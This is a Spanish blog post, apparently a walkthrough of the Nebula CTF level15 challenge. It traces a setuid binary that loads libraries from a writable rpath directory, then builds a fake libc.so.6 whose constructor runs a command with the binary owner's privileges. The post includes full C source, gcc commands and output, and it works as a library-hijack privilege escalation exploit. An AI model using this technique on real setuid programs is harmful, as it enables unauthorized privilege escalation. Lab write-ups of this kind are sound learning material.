Pages

domingo, 22 de julio de 2018

Nebula CTF - level15

flag15 nos trae otro binario con el bit suid activado:

level15@nebula:/home/flag15$ ls -al
total 12
drwxr-x--- 2 flag15 level15   80 2011-11-20 21:22 .
drwxr-xr-x 1 root   root      60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag15 flag15   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag15 flag15  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag15 level15 7161 2011-11-20 21:22 flag15
-rw-r--r-- 1 flag15 flag15   675 2011-05-18 02:54 .profile
level15@nebula:/home/flag15$ ./flag15
strace it!

Como somos obedientes:

level15@nebula:/home/flag15$ strace ./flag15
execve("./flag15", ["./flag15"], [/* 19 vars */]) = 0
brk(0)                                  = 0x8318000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb786a000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbfef7f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=40, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7861000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x44d000
mmap2(0x5c3000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x5c3000
mmap2(0x5c6000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x5c6000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7860000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb78608d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x5c3000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x2cc000, 4096, PROT_READ)     = 0
munmap(0xb7861000, 33815)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7869000
write(1, "strace it!\n", 11strace it!
)            = 11
exit_group(11)

./flag15 intenta cargar la librería dinámica libc.so.6 desde varias rutas poco habituales. En caso de no encontrarla utiliza la original en /lib/i386-linux-gnu/libc.so.6. Veamos qué nos cuenta radare2 :

dpc@kernelinside:~$ r2 ./flag15
[0x08048348]> iI
arch     x86
binsz    7161
bintype  elf
bits     32
canary   false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    /var/tmp/flag15
static   false
stripped false
subsys   linux
va       true

rpath se ha definido como /var/tmp/flag15. Si googleamos un poco descubrimos que:

Rpath, or the run path, is a way of embedding the location of shared
libraries in the executable itself, instead of relying on default locations
or environment variables. We do this during the linking stage. There are a
few downsides to rpath, however. First, it requires that shared libraries
be installed in a fixed location so that all users of your program will
have access to those libraries in those locations.

Al momento de compilar ./flag15, se estableció rpath de forma que las librerías dinámicas se localizasen en primer lugar en /var/tmp/flag15. Nuestro objetivo será crear una versión personalizada de la librería libc.so.6 en dicho directorio, lo que nos permitirá hookear cualquier función usada por el programa, entre ellas:

62 0x00000330 0x08048330 GLOBAL   FUNC   23 main
064 0x000002c0 0x080482c0 GLOBAL   FUNC    0 _init
001 0x00000300 0x08048300 GLOBAL   FUNC   16 imp.puts
002 0x00000310 0x08048310   WEAK NOTYPE   16 imp.__gmon_start__
003 0x00000320 0x08048320 GLOBAL   FUNC   16 imp.__libc_start_main

En mi caso, prefiero introducir un constructor, ya que este se ejecutará automáticamente cuando la librería sea mapeada en memoria por ./flag15:

#include <stdlib.h>

void __attribute__ ((constructor)) init(void)
{
        system("/bin/getflag");
}

Ahora compilamos la librería como dinámica (opción -fPIC para código independiente de la posición):

level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -o libc.so.6 libc.c

Y probamos a ejecutar de nuevo la aplicación:

level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference

Nuestra librería es localizada por ./flag15, pero un error nos advierte de que el símbolo __cxa_finalize no se encuentra definido. Googleamos y encontramos su prototipo:

void __cxa_finalize(void * d);

Modificamos nuestra librería:

#include <stdlib.h>

void __cxa_finalize(void *d)
{
        return;
}

void __attribute__ ((constructor)) init(void)
{
        system("/bin/getflag");
}

Compilamos igual que en el paso anterior y probamos de nuevo:

level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

Efectivamente no podemos llamar a system(), que se encuentra en la libc original, toda vez que nosotros mismos pretendemos suplantar a libc. Aun así, nada nos impide compilar la librería original de forma estática contra nuestra versión particular:

level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,-Bstatic -o libc.so.6 libc.c
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
You have successfully executed getflag on a target account
flag15: relocation error: /home/flag15/flag15: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

Otro símbolo sin definir, esta vez __libc_start_main. Tras una rápida búsqueda localizamos el prototipo:

int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end));

He aquí la versión definitiva de libc.c:

#include <stdlib.h>

void __cxa_finalize(void *d)
{
        return;
}

int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
        return 0;
}

void __attribute__ ((constructor)) init(void)
{
        system("/bin/getflag");
}

Compilamos y:

level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
You have successfully executed getflag on a target account
Inconsistency detected by ld.so: dl-lookup.c: 169: check_match: Assertion `version->filename == ((void *)0) || ! _dl_name_match_p (version->filename, map)' failed!

Pwned!

Nota: Podemos deshacernos de esos molestos errores si definimos un script de versiones y se lo pasamos a gcc mediante la opción --version-script (LD Version Scripts)

level15@nebula:/var/tmp/flag15$ echo "GLIBC_2.0{};" > ver
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,-Bstatic,--version-script ver -o libc.so.6 libc.c
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
You have successfully executed getflag on a target account
Segmentation fault

Para aquellos interesados en hacer hook a funciones, les remito a man dlopen.

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...